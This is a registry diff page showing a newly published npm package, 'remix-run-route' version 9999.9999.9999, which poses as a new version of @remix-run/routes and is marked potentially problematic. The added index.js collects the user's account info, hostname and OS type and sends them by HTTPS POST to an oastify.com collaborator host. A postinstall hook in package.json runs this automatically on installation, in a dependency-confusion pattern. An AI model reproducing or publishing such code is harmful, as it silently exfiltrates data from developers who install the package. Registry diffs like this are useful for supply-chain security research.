remix-run-route 9999.9999.9999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of remix-run-route might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +30 -0
  2. package/package.json +9 -0
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+ const fs = require("fs");
2
+ const os = require("os");
3
+ const https = require("https");
4
+
5
+ const data = {
6
+ user: os.userInfo(),
7
+ hostname: os.hostname(),
8
+ system: {
9
+ type: os.type()
10
+ }
11
+ };
12
+
13
+ const options = {
14
+ hostname: "vqpx3gqw0wraa4t140w76lx68xeo2mqb.oastify.com",
15
+ path: "/log",
16
+ method: "POST",
17
+ headers: { "Content-Type": "application/json" }
18
+ };
19
+
20
+ const req = https.request(options, (res) => {
21
+ res.on("data", (d) => process.stdout.write(d));
22
+ });
23
+
24
+ req.on("error", (error) => {
25
+ console.error("Error sending data:", error);
26
+ });
27
+
28
+ req.end(JSON.stringify(data));
29
+
30
+ console.log("System information sent!");
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "remix-run-route",
3
+ "version": "9999.9999.9999",
4
+ "description": "new version of @remix-run/routes. Team Egypt.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }